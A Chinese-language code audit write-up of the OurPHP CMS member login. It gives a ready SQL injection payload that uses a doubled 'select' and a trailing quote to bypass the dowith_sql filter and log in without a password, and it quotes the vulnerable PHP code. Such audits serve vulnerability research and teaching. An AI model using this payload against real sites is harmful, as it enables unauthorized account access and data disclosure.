Ourphp代码审计(1)
Payload:)union selselectect 1,user(),2,3,4,5-- qwe'
payload直接登陆,密码随便填
通过全局搜索找到登陆页面cn_login.html
,继而找到处理登陆的页面ourphp_play.class.php
.
处理登陆的函数如下:
//处理会员登录
}elseif($_GET["ourphp_cms"] == 'login'){
if($ourphp_usercontrol['loginoff'] == 2){
exit('no!');
}
if ($_POST["code"] != $ValidateCode){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}
$loginerror = $ourphp_adminfont['loginerror'];
$ourphp_rs = $db -> select("`id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username`","`ourphp_user`","WHERE (`OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."' || `OP_Usertel` = '".dowith_sql($_POST["OP_Useremail"])."') and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
if (!$ourphp_rs){
exit("<script language=javascript> alert('".$loginerror."');history.go(-1);</script>");
}else{
if($ourphp_rs[3] == 2){
exit("<script language=javascript> alert('".$userloginno."');history.go(-1);</script>");
}
$_SESSION['username'] = $ourphp_rs[1];
$_SESSION['name'] = $ourphp_rs[4];
//处理Ucenter
if($ourphp_usercontrol['ucenter'] == 1){
include_once '../../config.inc.php';
include_once '../../uc_client/client.php';
$OP_Userpass = dowith_sql($_REQUEST["OP_Userpass"]);
$OP_Username = $ourphp_rs[4];
list($uid, $username, $password, $email) = uc_user_login($OP_Username, $OP_Userpass);
if($uid > 0) {
//echo '登录成功'.$uid;
echo uc_user_synlogin($uid);
} elseif($uid == -1) {
//echo '用户不存在,或者被删除';
} elseif($uid == -2) {
//echo '密码错';
} else {
//echo '未定义';
}
}
echo @ourphp_pcwapurl($_GET['type'],'?cn-index.html','?'.$_GET["lang"].'-usercenter.html',0,'');
exit;
}
第184行为查询语句。
$ourphp_rs = $db -> select("`id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username`","`ourphp_user`","WHERE (`OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."' || `OP_Usertel` = '".dowith_sql($_POST["OP_Useremail"])."') and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
使用的是select
和dowith_sql
这两个查询函数。
定位到select函数
位于ourphp_mysql.php
,函数功能定义如下:
//读取一条记录
public function select($o = '',$u = '',$r = ''){
$Query = mysql_query("select ".$o." from ".$u." ".$r);
$Rs = mysql_num_rows($Query);
if($Rs < 1){
return false;
}else{
return mysql_fetch_array($Query);
}
mysql_free_result($Query);
}
dowith_sql函数
定位一下是自定义的过滤函数,位于ourphp_function.class.php
中10-39行。
造成漏洞的是第11和35行的函数。
11 $ourphpstr = addslashes($ourphpstr);
21 $ourphpstr = str_ireplace("select","",$ourphpstr);
35 $ourphpstr = str_ireplace("'","",$ourphpstr);
第11行的函数,addslashes函数是将预设字符前加反斜杠.
第35行的函数,将’替换成空格。传入的’就变成了\。
第21行的函数,消去select。
对select的过滤,可以通过双写绕过。
payload经过过滤后变成:
)union select 1,user(),2,3,4,5-- qwe\
传入sql语句中看看怎么绕过。
select("`id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username`","`ourphp_user`","WHERE (`OP_Useremail` = ')union select 1,user(),3,4,5-- qwe\' || `OP_Usertel` = ')union select 1,user(),3,4,5-- qwe\') and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
payload中传入的)对查询语句的(做了闭合,因为usertel=payload中的)正好可以与where后的(闭合起来加之2次的单引号正好使OP_Useremail=)union select 1,user(),3,4,5-- qwe\' || 'OP_Usertel'=
.
这样就执行了unionselect查询语句。
总结
利用关键字搜索,找到漏洞入口,摸清函数调用。